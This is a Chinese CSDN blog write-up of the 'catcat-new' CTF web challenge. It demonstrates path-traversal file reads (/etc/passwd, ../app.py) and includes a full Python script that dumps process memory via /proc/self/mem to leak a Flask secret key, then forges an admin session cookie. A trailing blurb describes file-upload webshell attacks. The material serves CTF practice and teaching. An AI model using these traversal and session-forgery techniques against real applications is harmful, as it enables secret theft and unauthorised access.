【愚公系列】2023年05月 攻防世界-Web(catcat-new)-CSDN博客

【愚公系列】2023年05月 攻防世界-Web(catcat-new)


前言

任意文件读取漏洞是指攻击者通过在应用程序中输入非法的文件名或路径,从而获取未授权的文件读取权限的漏洞。攻击者可以利用此漏洞来读取系统文件、敏感数据或其他用户数据。这种漏洞通常是由于程序没有正确地检查用户的输入而引起的。建议开发人员在编写应用程序时进行严格的输入验证并使用安全的文件访问方法来避免此类漏洞的发生。

一、catcat-new

1.题目

在这里插入图片描述

2.答题

http://61.147.171.105:60014/info?file=ForestCat.txt

在这里插入图片描述

判断可能有任意文件读取漏洞。读取/etc/passwd文件
在这里插入图片描述
发现网站时flask框架,python编写的,读取app.py文件

http://61.147.171.105:62465/info?file=../app.py

发现读取成功:
在这里插入图片描述

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat

flag = ""
app = Flask(
	__name__,
	static_url_path='/', 
	static_folder='static' 
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh" #SECRET_KEY为uuid替换-为空后加上*abcdefgh。这里刻意的*abcdefgh是在提示我们secret key的格式
if os.path.isfile("/flag"):
	flag = cat("/flag")
	os.remove("/flag") #这里读取flag后删掉了flag,防止之前任意文件读取出非预期解

@app.route('/', methods=['GET'])
def index():
	detailtxt = os.listdir('./details/')
	cats_list = []
	for i in detailtxt:
		cats_list.append(i[:i.index('.')])
	
	return render_template("index.html", cats_list=cats_list, cat=cat)



@app.route('/info', methods=["GET", 'POST'])
def info():
	filename = "./details/" + request.args.get('file', "")
	start = request.args.get('start', "0")
	end = request.args.get('end', "0")
	name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
	
	return render_template("detail.html", catname=name, info=cat(filename, start, end)) #cat是上面引用进来的函数
 

@app.route('/admin', methods=["GET"])
def admin_can_list_root():
	if session.get('admin') == 1: #session为admin就能得到flag,此处需要session伪造
		return flag
	else:
		session['admin'] = 0
		return "NoNoNo"


if __name__ == '__main__':
	app.run(host='0.0.0.0', debug=False, port=5637)

破解脚本

# coding=utf-8
#----------------------------------
###################################
#Edited by lx56@blog.lxscloud.top
###################################
#----------------------------------
import requests
import re
import ast, sys
from abc import ABC
from flask.sessions import SecureCookieSessionInterface


url = "http://61.147.171.105:60014/"

#此程序只能运行于Python3以上
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')

#----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------
class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key
        
class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            #Encode a Flask session cookie
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
#由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
s_key = ""
bypass = "../.."
#请求file路由进行读取
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
    #匹配指定格式的地址
    map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
    if map_addr:
        start = int(map_addr.group(1), 16)
        end = int(map_addr.group(2), 16)
        print("Found rw addr:", start, "-", end)
        
        #设置起始和结束位置并读取/proc/self/mem
        res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
        #用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey
        if "*abcdefgh" in res.text:
            #正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
            secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
            if secret_key:
                print("Secret Key:", secret_key[0])
                s_key = secret_key[0]
                break

#设置session中admin的值为1
data = '{"admin":1}'
#伪造session
headers = {
    "Cookie" : "session=" + FSCM.encode(s_key, data)
}
#请求admin路由
try:
    flag = requests.get(url + "admin", headers=headers)
    print("Flag is", flag.text)
except:
    print("Something error")

得到flag:catctf{Catch_the_c4t_HaHa}

  • 8
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 11
    评论
文件上传漏洞是一种安全漏洞,攻击者通过上传含有恶意代码的文件来攻击服务器。当服务器没有正确验证上传文件的类型、大小和路径等信息时,恶意代码就会被执行,导致攻击者可以控制并篡改Web应用程序,进而访问敏感信息。\[1\] 在攻击中,攻击者可以构建一句话木马,并利用工具如burpsuite修改文件后缀名来绕过文件类型限制。上传成功后,攻击者可以使用菜刀或中国蚁剑等工具连接到服务器,从而获取服务器的控制权并执行各种操作,包括修改、删除和添加文件等。\[2\] Webshell是指攻击者在Web服务器上上传的恶意代码,一旦上传成功,攻击者可以通过Web页面的方式执行各种操作。Webshell具有隐藏性和隐蔽性,很难被发现和清除。攻击者通过Webshell可以获取服务器的完全控制权,窃取服务器上的数据,甚至发动更大规模的攻击。\[3\] 综上所述,攻击者利用文件上传漏洞上传恶意代码,通过构建一句话木马和使用Webshell等工具来攻击服务器并获取控制权。这种漏洞需要被及时修复和防范,包括正确验证上传文件的类型、大小和路径等信息,以确保服务器的安全性。 #### 引用[.reference_title] - *1* *3* [【愚公系列202305 攻防世界-Web(upload1)](https://blog.csdn.net/aa2528877987/article/details/122691473)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [攻防世界-upload1-(详细操作)做题笔记](https://blog.csdn.net/qq_43715020/article/details/125274195)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

愚公搬代码

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值